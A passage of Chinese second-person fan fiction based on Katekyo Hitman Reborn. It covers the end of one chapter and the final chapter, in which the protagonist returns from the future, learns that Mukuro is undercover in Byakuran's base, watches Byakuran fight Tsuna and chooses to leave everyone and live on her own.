回家的途中,你远远就看到了家里亮起的灯光,犹豫了下,你抬脚朝十年后你的家靠近,然后,你缓缓站定在几米开外的大树下。 窗帘还未拉起,隔着透明的玻璃,你轻易就能看到里边的场景。犬和千种不知道什么时候回来了,褪去了青涩的稚嫩,犬和千种看上去更成熟了,但不一会儿,犬就抱着满怀的零食大大咧咧躺在沙发上,打开电视,犬龇牙一笑,瞬间,属于他们过去的模样又模糊地印在了他们未来的脸上。 千种抬起头看了眼时间,他不经意扫过窗外,幽静的蓝眼睛在镜片下泛起温柔的光芒,你早就在他看过来前就藏到了树干背后,但你还是看到他刚刚的眼睛。纯粹不参杂任何杂质的温柔在你心里留下了浅浅的痕迹,不深,但又恰好是你无法抹去的印记。 窗内,躺在沙发上的城岛犬注意到了柿本千种奇怪的反应,“怎么了?” 柿本千种莫名盯着不远处没有被路灯照亮的大树看了很久,除了树叶偶尔的沙沙风动,柿本千种没有发现其他存在,他疑惑地收回视线,“没什么,只是刚刚…总感觉好像有人在看我们?” “春也住的地方这么安全,还有人敢闯进来?”城岛犬像过去一样抛起小零食,然后又张嘴叼住,“说起来,今天怎么没看到春也,她不是说今天要赶工完成最后一页的翻译内容吗?” “大概和之前一样散心去了吧。”柿本千种推了推眼镜。 城岛犬嚎着嗓子:“今天大家怎么回事,春也不在,骸大人不在,库洛姆也不在,弗兰…嘁,不说他了。” “你忘了吗?”柿本千种说,“骸大人最近在和库洛姆搞交接仪式,库洛姆的工作量直线上升,等今天会议开完回来,骸大人就正式从彭格列退休了。” “那这一次春也应该不会把我们赶走了吧。”城岛犬眼里流露出期待的表情,但转瞬,他又像是想起什么,城岛犬撇了撇嘴,“啧,当初那只臭小子怎么没去瓦利亚任职雾守呢。” “多大年纪了还整天粘着春也。”关于弗兰,城岛犬可以彻底细说他无数缺点而不闭眼。 柿本千种系好围裙走进厨房,弗兰那小子可聪明多了,触你雷点的事他半点不干,完全看不出这小子平时猫嫌狗恶的样子。 城岛犬继续叨叨:“下次就该让和子挠死他!” 柿本千种提醒:“犬,不要虐待老人。” 和子现在已经是一只很大的大猫猫了,比起小时候精力旺盛地到处探险,它现在更喜欢龟缩在你床上安心入睡。偶尔,心情好的和子也会出去溜溜哒哒一圈再回来。 你和房子隔得有些远,你并不能听清犬和千种的话,但你也没有选择靠近。 那是十年后你选择的家,不是你的,你分得很清楚。 十年前,你撞了一次火箭筒,你做出了改变,而现在的十年后就是过去的你所改变的后果。现在,你又一次来到了十年后,你想,你会做出新的选择,到时候,你的十年后又会是另一种结果了。 你的身上逐渐开始冒起粉紫色的烟雾,你没有再看犬和千种,背靠大树,你静静等待着十年后的自己和你交换。无意识仰起脑袋,你望向天空。 今夜月色很美,衬得边缘的星辰都黯淡了许多,你无聊地开始数着星星,刻意放空大脑,粉紫色的烟雾越来越多,就在它逐渐将你整个覆盖前,你听到了一声小声的咪叫。 裸露的脚踝被毛茸茸的生物噌了下,你下意识低头,你看到了和子。 “咪~”和子显然认出了你,它亲昵地冲你喵喵叫,水汪汪的大眼睛里盛满了对你的爱意,“咪嗷~” 你蹲下身,刚伸出手和子就自觉地把脑袋放在了你的掌心下,你轻轻抚摸着和子,语调轻柔,“是和子呀。” “咪呜!” “我们的和子真厉害,现在已经变成奶牛猫了。”苍白的毛发不知何时一寸一寸慢慢覆盖它漆黑的毛发,你捧起和子毛茸茸的猫脸,然后低头蹭了蹭它的鼻尖,“告诉他们,我很爱大家,我也爱和子。” “未来,我自己也会好好的。” “咪——”和子懒洋洋拖长音,像是在附和你。 不管什么的选择,自由之风将会永远伴随你。魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 第137章【终章】 第137章 你平安回到了十年前——你的现在。 你并不知道十年火箭筒故障导致十年后的你没有换过来, 等你再次睁开眼睛的时候,你看到的就是白兰、古伊德·古莱克和一只专心啃糖果的小奶牛呆在一起的画面,扭过头, 你才发现房间里还有其他人的存在——斯帕纳和入江正一。 视线在古伊德·古莱克脸上停留片刻, 你抬头看向白兰, “你们怎么都聚在一起了?” 白兰见你醒来后立刻上前查探, 确认你身体没什么问题后,他才开始回答你的问题, “十年火箭筒出了故障, 恰好,我们基地有这方面的技术人员, 我让他们加急把十年火箭筒修好了。” 白兰握住你冰凉的手,眼尾带上三分笑,优雅醇厚的意语经由他的口中说出时犹如告白,“我总不能让我的春也留在我看不见的未来。” 白兰对彭格列的雷守并不感兴趣,挥了挥手, 他让斯帕纳和入江正一把蓝波带走了,连同他的十年火箭筒一起。 现场唯一还留下的只有古伊德·古莱克。 白兰像是没注意到一般, 他低头看向你, 这次的十年之旅很明显带给了你不一样的觉悟,白兰能感知到你微妙的转变。 白兰轻轻摸了下你的脑袋,“怎么样,这次找到了新发现?” 古伊德·古莱克也望向你了,你收敛着情绪,笑道:“算是吧。” 见你没有多说的意思,白兰也没有再问,他转而开启了另一个话题, “我们和彭格列的游戏要开始了,春也有兴趣来看吗?” “游戏对象是沢田纲吉一个人?” “不。”白兰说,“我更改了游戏规则,这一次,彭格列可以全员参与。” >>> 游戏开始前,你找到了古伊德·古莱克。 “春也小姐?”古伊德·古莱克看到你后有些惊讶,他弯起眼睛来到你身边,“春也小姐是有什么事吗?” 你一抬眼就看到了古伊德·古莱克温和的视线,目光移向他空荡荡的耳后,你语调平和,“没有戴饰品吗?” 古伊德·古莱克,或者说六道骸一下就明白了你的意思,他下意识摸上了自己的耳垂,没有感知到熟悉的冰凉触感,六道骸这才想起这并不是他真正的身体。 “没有,我不太习惯冰冷的耳饰穿进身体。”古伊德·古莱克放下手,他不经意看向你的耳钉,靛青色在光线下熠熠生辉,看着它,六道骸就感觉自己永远都陪在你的身边。 你意味不明:“是吗?” 你一步一步缓慢朝他靠近,距离半米处,你停下脚步,你的目光落上了他手上的资料,“彭格列?” 古伊德·古莱克:“是关于游戏的内容,白兰大人让我负责的。” 你:“你也想对彭格列下手吗?” 古伊德·古莱克像是讶异你会这么问,他抿嘴微笑,“这是白兰大人的意思,我奉行大人的意志。” 不得不说,作为卧底,六道骸比任何人都专业,无论何时何地,他都表现得天衣无缝。现在想来也确实,无论什么事情,六道骸总能做到最好。 六道骸倒是想再和你待一会儿,但马上彭格列的人就该过来了,白兰还等着古伊德·古莱克的东西呢,他只好先和你告别,“白兰大人还在等我,我先离开了。” 路过你时,古伊德·古莱克小声在你耳边低语,他语速极快,“等下会很混乱,春也小姐可以先留下来。保护自己才是最重要的。” 说完,古伊德·古莱克快步往外走去,眼看他即将消失在门口,你下意识叫住他的名字,“六道骸。” 你的声音很轻,轻到如果不是时刻关注你的话,很容易忽略你的话。但古伊德·古莱克听见了,你看到他停下了脚步。 古伊德·古莱克转过身,他神色自然,“春也小姐说的这位六道骸,和我很像吗?” 你垂眸,也不知是出于什么心思,在六道骸否认的这一刻,你低声又叫了一句六道骸的名字。 “砰。” 门被轻轻关上了,你忽然有些失落,心里空荡荡的,十年后与十年前的场景在你脑袋里交错,原本犹豫的决定在心里慢慢变得清晰,忽然,你的耳朵响起一声叹息。 下一秒,你感觉自己被人拥住。你抬起头,恰好看到古伊德·古莱克无奈的笑容。 “kufufufu…春也是这么认出我的呢?” 古伊德·古莱克的脸缓缓变化成六道骸原本的模样,红蓝异瞳柔和地注视着你,六道骸一手抱住你的腰,一手轻轻抚摸着你的后脑勺,还没等你开口,已经有了自觉的六道骸开始和你解释,“这次的卧底并不是彭格列的任务。” “那天你一直没回来,大家都出去找你,犬和千种拿到了监控,我们看到了白兰站在你旁边的画面。”尽管隔了很久,但直到今天回想起,六道骸始终无法忘记自己看到白兰出现在你身旁时那一瞬的恐慌感。 ——他不能接受失去你的可能。 六道骸接触过白兰很多次,他非常清楚那家伙的本质。 “然后呢,你就来这里找我了?”嗅着六道骸身上熟悉的气味,你的身体不自觉开始放松,想起犬和千种给你发的消息,你相信六道骸这句话。 “春也生气了吗?”觉察到你语气的变化,六道骸的动作一顿,“白兰基地遍布监控,而白兰本人又一直赖在你身边不走,他还给我丢了很多工作,我很少能找到和你单独在一起的时间。” “白兰的危险性太大,既然我已经来了,正好可以寻找突破点。” “是吗?”你没说信也没说不信。 “……” 像是妥协般,六道骸叹了口气,“而且,我也没有办法附身你。” 沉默了一会儿,六道骸缓缓出声:“我试过附身来查看你的状况,但是我失败了。第一次,我发现我们之间的链接断了。” 也是因为这个,六道骸失了以往的游刃有余。 这件事你还是第一次听六道骸说过,“为什么不能附身?” “白兰的基地里的某种存在干扰了我的能力,导致我附身你失败了。”六道骸没有提及他当时剧烈震颤的心情,他在你面前说的轻描淡写。 你想起了白兰和你说过的平行世界。 如果是平行世界他带过来的能力,那么一切都说得通了。 但是这样的话……等等,你忽然意识到一个重要的事情。 你抬头认真看向白兰:“你说你之前不能附身我,对吗?” 六道骸点了点头,你继续问:“可你现在已经来到了白兰基地,而基地里所有东西都没有变过。” 六道骸:“嗯哼?” 你一脸认真:“你现在是附身在古伊德·古莱克身上,那么,骸,你还能离开吗?” 六道骸漫不经心笑了两下,“kufufufu…这不是问题。” “我会把你带你出去的,春也。” 看来骸目前还没找到解决的方法,想到白兰接下来的游戏,你总觉得事情的发展可能会超出大家的想象范围。 ……而且,尽管如此,你也不太想看到骸骸受伤。 见你这幅模样,六道骸伸手试图抚平你皱起的眉心,“春也是在担心我吗?” 低哑带着磁性的声音隐约藏了几分满足,六道骸轻轻摸上你的眼睛,“不要怕,春也,我会一直在。” 不过,回忆起白兰刚刚的话,六道骸总觉得心神不宁,他低头看你,“说起来,春也之前去了十年后,你看到了什么吗?” “我看到了和子,它长出了好多好多白毛,像一只奶牛猫。”你靠在六道骸的怀里,“它长得太大了,我总希望它还是过去那副小小的样子。” “kufufu…春也的想法很可爱,但和子总会长大。”六道骸笑了两声,“生命的全部时光里一直存在你的痕迹,对和子来说,这很幸福。” 六道骸静静望着你,手指覆在你脸颊,他轻轻撩起你垂下的发丝别在耳后,冰凉的皮手套带着微末的凉意,大拇指摩挲着你耳垂上的靛青色宝石,遵从直觉,六道骸第一次吐露自己的心声。 “我也是。” 只要有春也,六道骸也会像每天翘着尾巴到处哒哒哒找你的和子一样,内心充满了浓郁的幸福感。像泡在他最爱喝的巧克力奶里,活着的感觉轻松又愉悦。 “那,骸卧底了彭格列这么长时间,你对他们有什么看法?” “彭格列?”六道骸古怪笑了两下,语气辨不出情绪,“一群天真愚蠢的黑手党。不过很快,他们就会迎来最大的生存考验了。” 看来这个时候六道骸还没转变为十年后的六道骸。 “这次的游戏结束后,骸要…离开意大利吗?”你覆上他的手,眼神认真,“还是说,你想继续在彭格列卧底?” 六道骸微妙迟疑了一秒,他刚想开口,下一秒,白兰的电话打了进来。六道骸当即恢复成古伊德·古莱克的形象,朝你做了个手势,他慢慢走远了些。 屋子里很空旷,哪怕隔了些距离,你也能听清电话里白兰的声音。 “雷欧,你还没到吗?” “抱歉,白兰大人,我刚刚找资料耽误了点时间,很快就到。” “是吗?”电话那头,白兰传来一声哼笑,“哦对了,春也也还没来呢,你去看看她有没有出发,没有还没有,你就把她一起带来,雷欧。” 白兰最后叫了声他的名字,视作提醒。 “是,白兰大人。” “嘟——” 电话挂断,六道骸转过身看向你,“等游戏结束,我再告诉你我的答案,可以吗,春也?” 六道骸认为他需要好好考虑下你们未来的安排,如果……他想,他会选择和你一起。 六道骸向来是个会吸取教训的人,已经犯过的错误,他不会犯第二次。卧底的这段时间,他也想了很多。 听到这话,罕见的,你的心底一片平静。 你静静看着他完全陌生的脸,良久,你朝古伊德·古莱克笑了下了。 “好。” >>> 比起打败或杀死彭格列这个目的,你更倾向白兰在谋划什么,所以白兰的终章游戏并没有你预想得那么残忍,但他也没手下留情。于是,等沢田纲吉一行人来到你面前时,你看到的就是伤痕累累的几个人。 战损的沢田纲吉完全看不出半点弱势,过去总是软绵绵的棕瞳充满了坚毅,战斗时落在脸上的伤痕像小猫胡须,有一瞬间,你幻视了和子。 沢田纲吉第一时间注意到了你。无他,实在是你太显眼了,沢田纲吉的身体先大脑一步感知到了你的存在,他本能往你所在的位置靠近。 白兰漫不经心撩起眼皮,他恰好看到了沢田纲吉的视线,嘴角勾起似有若无的弧度,白兰亲昵又自然地揽过你,从沢田纲吉的视角看,就像是白兰在强迫你。 瞬间,什么你是主动加入白兰的这番话完全被他抛到了脑后,几乎瞬间,愤怒涌上他的眼睛,死气之炎直接燃起。 酸涩晦暗的情绪混杂在一起,沢田纲吉已经分不清自己现在的真实情绪究竟是什么。嘴角绷紧,极致的冷静下,沢田纲吉声音冷得几乎要掉冰渣子,“放开她,白兰。” 在他身后,刚结束战斗的狱寺隼人和山本武同时警惕地绷紧神经,尽管他们的衣服因为刚刚的战斗不再整洁,但这丝毫不减损狱寺隼人和山本武的气势。 而白兰身后只有你和古伊德·古莱克。 “不愧是彭格列第十代首领,到了现在还有力气站在这里和我说话呢。”白兰轻佻地捏起一只棉花糖递到你嘴边,“不过,刚刚你们打败的仅仅只是开胃菜呢,真正的好戏,现在才开场。” 沢田纲吉眉头一皱,“什么意思?” 白兰但笑不语,随手按下开关,然后,沢田纲吉面前完好的地面突兀裂开一个口子,白色墙面拔地而起,很快遮住了沢田纲吉他们的视野。沢田纲吉下意识握拳想把眼前的障碍物毁掉,但不知道面前的墙面是用什么材质制成的,任凭三个人怎么攻击,墙面也无丝毫损耗。 “祝你们好运。”白兰轻慢的笑声掐在墙面扣上的最后一秒飘进了沢田纲吉他们的耳朵,听上去完全就是挑衅。狱寺隼人一拳狠狠砸在纹丝不动的墙上,他咬牙切齿,“这个白兰!” 沢田纲吉捏紧拳头,金属手套碰在一起发出轻微的响声,想起刚刚的一幕,他强迫自己冷静下来,额头冒起火焰,沢田纲吉理智观察起周围环境,“先离开这里,不要放松警惕。” 墙面把你们分开后,白兰打开了屏幕开关,刚才消失不见的沢田纲吉几人重又出现在了屏幕里,“接下来出场的可不是什么实力一般的家伙。” 而是玛雷剩下六枚指环的真正持有者——真六弔花。 你安静在屏幕外观看沢田纲吉他们的战斗姿态,在你不曾关注的地方,所有人都在成长。望着沢田纲吉坚毅认真的眼神,恍惚间,你在他身上看到了十年后的影子。 以沢田纲吉现在的模样,你想,他大概很轻易就会一步步往十年后的教父形象靠拢。那么,沢田纲吉过去的愿望他有实现吗?他真的会改变黑手党的世界吗? 短暂的疑问在心里一闪而过,你垂下了眼睛,第一次开始思考起自己的未来。 ——你的未来,又会是怎样一番情景? 扭头看向吃着棉花糖的白兰,他懒洋洋又撕开了一个葡萄味包装的夹心棉花糖,察觉到你的视线,白兰把手中的棉花糖全部送到了你怀里,他自己重新开了包新口味的。 你低头看了眼怀里的棉花糖,和白兰待久了,你不知不觉也喜欢上了棉花糖的味道。捏起一个送进嘴里,酸酸甜甜的葡萄味在口腔化开,你慢慢舒展开紧皱的眉头。 “结束了这场游戏,你之后打算做什么?”望着白兰漫不经心的模样,你忽然开口问道:“你想和彭格列一起纠缠下去吗?” “嗯?春也怎么会这么想?” 记忆全部接收完后,白兰自然看到了自己失败的那一幕,想来,过不了多久,平行世界的他们全部都会重置,白兰也不过是想趁着最后的机会看看他的世界彭格列的真实实力罢了,至于输赢,说实话,白兰现在已经没那么在意了。 更何况,在彭格列胜利画面输送来的某个瞬间,白兰无意窥探到了自己胜利的画面。 那一秒,无尽的空虚和似有若无的绝望崩溃充斥着他整颗心脏,白兰差点被这盛大的空虚冲垮精神,好在最后一刻,你出现在了他身边,犹如抓住救命稻草,白兰死死抓住你,等回过神,他唯一记忆清晰的是你身上浅淡的、像他喜欢的棉花糖一样香甜好闻的气息。 而无论是胜利还是失败,都不是属于他的结局。 这次的游戏白兰只有一个目的,那就是让六道骸彻底暴露在你面前。对待敌人,白兰从不会手软。至于结束之后,那自然是和春也一起离开这里。白兰不能确定重置世界后的自己是否还会有记忆,他也无法确定你的灵魂会不会对他产生共鸣,但他可以让自己占取先机。 这一次,白兰想要你的故事篇章里出现他的名字。 “结束后,春也想不想去别的世界看看?”白兰蛊惑般开口,“春也难道不想拥有一次独属于你自己的旅程吗?” 你的心脏好似被拨动了下,见你脸上露出动容的神情,白兰刚想继续开口邀请你一起,下一秒,站在旁边的古伊德·古莱克不小心出声打断了你们的交谈。 “白兰大人,彭格列他们好像要赢了。” 白兰的脸色一下就冷淡了下来,他神色不明地瞥了眼毫无自觉的六道骸,后者露出严肃的神情,看上去完全是一副为了白兰着想的模样。 白兰漫不经心移开视线没有说话,手指在虚空的屏幕里点了两下,几乎在手指松开的瞬间,墙面、地面开始各种变幻移动,不一会儿,你的眼前就换了个风景。 你和白兰、六道骸一起来到了一个陌生的场景,然后,白兰拉着你慢慢走出了门。 这是一个极其空旷的户外场地,沢田纲吉他们将在这里迎来最强大的终关BOSS——白兰。 这还是你第一次看到白兰战斗的模样,你想过得到无数平行世界记忆的白兰强大,但你没想到他会这么强大,就好像在普通的地球Online游戏里开了通天挂的玩家。 看到他身后冒出的翅膀时,你原本还在思考人生的大脑宕机了好几秒。 穿着黑白拼色的长风衣,白兰如神明立在高空,纯白的翅膀衬得他本就苍白的睫毛和头发更加非人。他脸上没什么表情。你就在下面看着呢,白兰可不想像另个世界的自己那样毫不在意形象。 你仰头望着同样借助火焰飞到高空的沢田纲吉,刺目的太阳光下,他们两个人打斗爆发出的火焰竟比悬在高空的太阳还要刺眼,过快的速度下,你根本无法捕捉到两个人的打斗痕迹,你只能看到绚烂耀眼的火焰像烟火四散开来,美得惊心动魄。 脖子仰得太久有些酸,你小心翼翼低下脑袋,轻轻揉了揉脖子,你一抬眼就看到不知道什么时候出现的斯帕纳和入江正一出现在了这里,然后吭哧吭哧开始搬运伤员。 扫过倒在地上已经无知觉的彭格列守护者,你缓缓收回了视线,你转而看向六道骸,他也在关注着上的动静,漆黑的眼睛难辨心绪,你看不出他眼底真实的想法。 战斗的结束出乎意料的快,对上不仅拥有平行世界记忆、甚至还拥有胜利与输掉世界的额外记忆的加强版白兰,哪怕沢田纲吉现在的战斗力强了不止一点半点,也难以战胜像怪物一样的白兰。 超负荷的火焰输出和战斗让沢田纲吉的动作迟钝了半秒,就是这半秒,如此明显的破绽白兰根本不可能无视,一道重击,沢田纲吉来不及躲开,他伸出双手企图减免些伤害,巨大的火焰压力下,身体不受控制地往下坠落,沢田纲吉咬着牙,下意识闭起一只眼睛,他重重砸向了地面。 剧烈的疼痛瞬间蔓延他全身,沢田纲吉想要起来继续战斗,但疼痛令他无法快速站起,沢田纲吉被迫躺在了被他砸出的巨坑里。 你第一次看到沢田纲吉这么狼狈的样子,你养着他的时候,沢田纲吉从来都是干干净净的。身体先意志一步想要向他迈步,回过神,你又硬生生抑制住了这股冲动,你看到了白兰。 脚尖点地,白兰轻飘飘落了下来,他慢条斯理地走向坑里狼狈的沢田纲吉,掌心重新燃起火焰,白兰眼底没有丝毫情绪。 沢田纲吉艰难扭头,周围除了他,其他同伴都不见了,心里不可控地升起不好的预感,沢田纲吉压抑着怒气看向白兰,“白兰,你把我的朋友都怎么了?!” 白兰说得漫不经心,“你说他们啊,都死了哦。” 好吧,你现在又看不太懂白兰的做法了。想起被入江正一他们妥善安置的守护者,你不明白白兰为什么要继续激怒沢田纲吉。你扭过头,果不其然,沢田纲吉眼里的怒火燃烧得更旺了。你又看向六道骸,他还没有离开,六道骸神色冷静地看着这一幕。 白兰行事作风狠辣,沢田纲吉完全没怀疑白兰的话,他根本不敢想象同伴们的下场。 “白!兰!”火焰在摇曳,沢田纲吉低着头艰难爬了起来,单膝跪地,垂落的棕色发丝凌乱地遮挡住他的脸,听到这话,沢田纲吉猛地抬起头,嘴里发出像小兽一样的呜咽,沢田纲吉的眼里迸发出前所未有的决绝,他的每一句话都像是从肺里蹦出来的一样,“我绝对要——打败你!” 握紧拳头,汗水顺着睫毛滑落,模糊了他的眼睛,沢田纲吉眨了下眼,视野再次变得清晰。首领的本能让他快速恢复冷静,战斗是危险的,从踏入里世界的那一刻,沢田纲吉的觉悟就越来越深。 年幼的雄狮又一次站了起来。 “从哪步开始摧毁彭格列呢。”余光不经意掠过六道骸,白兰回忆起平行世界自己疯癫的表情,他眼里流露出熟悉的恶意和疯狂,“就先从彭格列的首领开始吧,至于剩下的守护者……” 白兰没说完,但谁都知道他话语里未尽的轻蔑之意是什么意思。 “要是再给你点时间成长,我说不定还真不是你的对手。”白兰感叹了一句,他意味不明道:“但谁让你现在碰到了我呢。” “那么,永别了,沢田纲吉。” 虽然不清楚这边的世界重置为什么有延迟,但仗着世界会重置,白兰一直都是下的死手。理所当然的,六道骸以为白兰真的会杀了沢田纲吉。 彭格列的游戏人选排除了里包恩,参与的人只有七个,库洛姆也在其中,但六道骸唯独没想到他们会全军覆没。 联想起白兰之前几近疯狂的举动,六道骸沉了下眸子。 ——不管怎么样,赢的人绝对不能是白兰。 在白兰即将落下最后一击时,六道骸及时拦下了他的攻击。沢田纲吉眼睛微微张开,“六道骸?” “kufufu…半路开香槟可不是个好习惯呢。” 像一阵风,你还没反应过来,六道骸就窜了出去,古伊德·古莱克的面容逐渐开始模糊,取而代之的六道骸的脸,看着挡下攻击的六道骸,在这一瞬间,你忽然就想通了。 出乎六道骸意外的是,白兰没有再继续攻击,他意味不明地看向六道骸,“我该叫你雷欧,还是六道骸呢?” “kufufu…只要你想,我都可以是。” 握着三叉戟,六道骸站在白兰面前,长久不打理头发,他靛青色的发丝又长长了不少,超过锁骨的发丝被他用一根发绳懒洋洋扎起,那是你过去不小心遗失的发绳。 白兰眯起眼睛,他瞥了眼站在底下神色不明的你,白兰不动声色皱了下眉。 ……有哪里不对劲。 第六感一直在隐隐作祟,六道骸皱起眉,从一开始白兰的举动就很奇怪,似乎是在引诱什么上钩。 “没想到彭格列大名鼎鼎的雾守对彭格列第十代首领这么衷心啊,真是叫人大开眼界。” 六道骸冷笑:挑拨离间? “kufufu…沢田纲吉死了,他的尸体对我可没有用呢。”红色瞳孔里的数字开始跳动,六道骸眯眼,“你以为你的目的隐瞒得很好吗,白兰?” 白兰挑眉,没有在意六道骸挑衅的那句话,他话锋一转,“是吗?我还以为你当着春也的面直接救黑手党,已经是你投身彭格列的表现了呢。” 六道骸:骂得真脏。 他下意识扭头看向你,但他什么也没看到,你早就走了。六道骸瞬间反应过来了,他冷声道:“你算计我?” 白兰笑了,“这怎么能叫算计,如果你不救人,什么事也不会发生,还是说,你的内心深处已经认定了沢田纲吉是你的大空?””真有意思,嘴上说着最厌恶黑手党……你的行为要是有你嘴的一半诚实就好了。“ 白兰最知道怎么插人刀子,不出所料,六道骸脸黑了。 “kufufu…你倒是讲了个好笑话。我会救人,完全是因为这场游戏谁都可以是赢家,唯独你不可以。” 六道骸没有被白兰牵着鼻子走,他冷静道:“你的那份灭世项目开展了一半突然停止,想来春也还不知道吧,你该不会是要说你实行到一半良心突然发现决定做个救世主?” “怎么,你不会还以为春也会对一个有着毁灭世界想法并且已经付诸过时间的怪物产生什么好感吧?” 那份可怖阴冷、完全不在意人命的计划书是在他拿到权限后,无意发现的,六道骸是想过覆灭所有黑手党,也对这种充满污垢的世界没有好感,但六道骸自认自己远没白兰那么极端。 和白兰一比,六道骸只觉得自己不要太善良,起码他解决黑手党是在为民除害,他还远没到为了自己的目的把整个世界的人命都不当回事。 白兰不笑了,他的脸彻底沉了下来,冷淡的眉眼里,白兰的非人感越来越强烈了。 然后,白兰和六道骸成功打了起来。 沢田纲吉听懂了全程,垂眉思索间,斯帕纳和入江正一再次出现。 “白兰先生也没说游戏会导致这么多人受伤啊。”看着清醒但明显状态更差劲的沢田纲吉,入江正一胃又疼了。 “没事,晴守会好好治疗他们的。”斯帕纳咬着棒棒糖,余光瞥了眼四周,没有看到你的踪迹,他淡淡收回目光,“把人带下去吧,再不走,马上我们也要被波及了。” 白兰和六道骸打起来可都不是会顾及别人的主。 你早在六道骸拦在沢田纲吉面前后没多久就先离开了,无他,你只是忽然发现自己想开了。 你先去医务室看了眼养伤的彭格列守护者。比起你想象的快,在晴守的治疗下,几个人很快又活蹦乱跳起来,不过由于疲惫,大家都陷入了不算安稳熟睡。 你进入病床的时候,里面除了彭格列的昏睡者,没有其他人在。 安静站在病床前,你看着这群和你差不大的少年,你还记得上一次见到他们的时候,大家都还是青涩不成熟的小姐,没想到短短的几年过去,每个人都找到了各自的目标,也都为之努力奋斗。看到他们,你忽然就联想到了自己。 你总说,六道骸一直沉浸在过去的阵痛里无法走出来,可现在,你后知后觉发现,其实你和六道骸一样。你以为你走出来了,但听到黑手党的名词,你依旧会从心底冒出无法消退的厌恶,然后,连带着过去亲近的人也难以再全心全意的接受。 如果这一切都未曾发生就好了,那么你也就可以不用这么痛苦。甚至,你说不定会很向往拥有奇异力量的异世界。 最后看了你认识的几个人一眼,你转过身轻轻带上房门,你悄无声息离开了这里。 或许,你也该重新规划下自己的未来了。 漫步在基地,你逐渐往出口的方向走去,脑海里想起十年后你翻译官的工作,你突然间就有了重新学习的动力。说起来,当年的你恰好刚考完高考呢,也不知道以你的分数能不能上你梦中的情校。一开始你是有点摆烂心思不想上学,但现在,你决定让自己的人生重新开始。 你拥有的是意大利的户口,虽然你对这座城市称不上喜欢,但你也不厌恶。你可以先在意大利上学。当初你从并盛中学离开后,也不知道六道骸用了什么方法,你拥有了并盛中学的毕业证书,至于犬、千种还有六道骸本人则是因为上学日子太短,无法拿到证书。 发现脑海里又窜出了犬、千种和骸,你无声叹了口气。你现在完全不知道该怎么面对他们,或许未来,在漫长的时间流逝中,你会再次接受大家,但目前,你想先尝试另一种你过去喜欢的生活方式。 来到基地大门,无声按下开关,你又一次打开了门。 就像最初你想要一个人生活一样,这一次,兜兜转转,你还是达成了自己的愿望。 “春也,你想去哪儿?” 两道不同的脚步声从背后响起,你扭过头,意外看到了白兰和六道骸站在一起的画面。他们两个都有些狼狈,白兰原本漂亮干净的蓬松白发变得乱糟糟的,风衣也沾上了不少灰尘和血迹,嘴角还有道不明显的淤青。 六道骸的情况也好不到哪里去,凌乱的半长发随意散在锁骨,戴着黑手套的手轻松握住三叉戟,眼尾嘴角都带了些淤青。你瞬间回忆起最开始六道骸出完任务总是带伤回家都场景,你条件反射朝他走了过去,意识到自己的行为,你又硬生生止住了脚步。 六道骸直勾勾看着你,右眼的淤青莫名有股残损美,六道骸一步一步朝你走去,过程中,他始终牢牢盯住你的眼睛。站定在你面前,六道骸伸手握住了你的手腕,冰凉的皮质感令你不适地动了动手,六道骸却以为你想甩开他,他的眼里终于没了亮光和笑意。 手指下意识用力,覆着黑手套的指腹摸上你轻缓的脉搏,他静静望着你,你却感觉六道骸像是要把他的一切陷入你的骨骼和灵魂。 “你要去哪?” 三叉戟上还残留着冰凉的红色,你抬起头,看到六道骸的右眼缓缓渗出血迹,红瞳里的数字疯狂跳动,像是感应到什么,刚刚打完架身体还处于应激状态的六道骸第一次对你流露出了危险的气息。 “你先想离开。” 六道骸盯着你时右眼渗出鲜血的那一刻,你浑身战栗,大脑一片空白,有一瞬间,你以为危险可怖的捕食者锁住了你的所有。 清晰的蓝瞳里倒映出你空白的眼神,六道骸闭上眼,鲜血顺着他的眼睛往下流淌,他竭力保持着自己的理智,克制着大脑里疯狂的想法,已经料到某种结局的六道骸不动声色握紧三叉戟,无数杂乱恐怖的想法在这一瞬间如难以退去的潮水疯了般涌向大脑,但他依旧记得不能吓到你。 “春也……” 六道骸重新睁开眼睛,下一秒,你的手抚上了他的脸,红色如蛇信缓慢游动,然后抵达你温热的指尖,你感受到了独属于六道骸血液的温度。 “我想尝试另一种人生,不要让我彻底讨厌你,好吗?”你温声开口,真正见到六道骸后,你发现自己竟然依旧无法发自内心的讨厌他,“我已经无法再和你们生活在一起了。” “六道骸,你知道原因的。” 指关节用力到泛起苍白,六道骸眼神晦涩不明,他想张口再说些什么,你竖起一根手指虚虚放在他唇间,“已经太迟了,我给你很多机会。我不想再等下去了,我也有我的未来要走。” “或许会有一天……但那绝不是现在。”你残忍地推开了六道骸,他的脸唰的一下彻底失了血色。 “还有你,白兰。”你偏头看向神色轻松的白兰,“你之前的话我后来仔细想了想,很有道理,未来确实还有无数风景等着我。” 没等白兰再开口,你同样打断了他,“但我决定一个人启程,我需要整理下我的心情。” 幸灾乐祸的白兰:! 这和他预想的完全不一样。 你最后看了六道骸一眼,然后独自踏上了旅途。 >>> 一个人的生活并没有想象的那么难熬,你假装没有发现生活中不小心露出的靛青色和白色,偶尔还会夹杂着奇怪的犬牙和眼镜,你也假装没有发现生活宛若对你开了八倍挂,你安心过着独属于你的生活。 偶尔,你也会觉得寂寞,这个时候,你的生活总会出现各种各样层出不穷的小惊喜,也有可能会是一些无伤大雅的恶作剧。 收到礼物的那一天,你坐在洒满阳光的地毯上拆礼物,是你过去最喜欢的凤梨玩偶。柔软的玩偶大约是刚洗晒过,扑上去轻嗅还有一股淡淡的皂香和太阳公公的气息。抱着凤梨,你偏头看向摆在窗口的鲜花,金色的阳光为它镀上了一层耀眼的金边,恍惚间,你似乎理解了十年后的你。 有些人和事,是无法彻底割舍的,他们就像你的血你的泪,深深融入了你的骨和你的灵魂,难以彻底分离。 但不管怎样,在你的意志下,没有人会强迫你。 你独自一人认认真真上完了高中,欢欢喜喜考上了心仪的大学,然后计划往上更进一步时,你的人生出了点意外。 研究生你没有深造成功。当然,这并不是你能力不够,而是异世界在某一天忽然发现它居然遗忘了这个没有重置的世界,于是,世界开始修正,但世界意识没注意到的是,一丝邪神力量无声无息混杂在里面,于是,除了你,和你联系深刻的家伙们都保留了记忆和力量。 世界开始重置,而你的幸福,才真正开始。魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m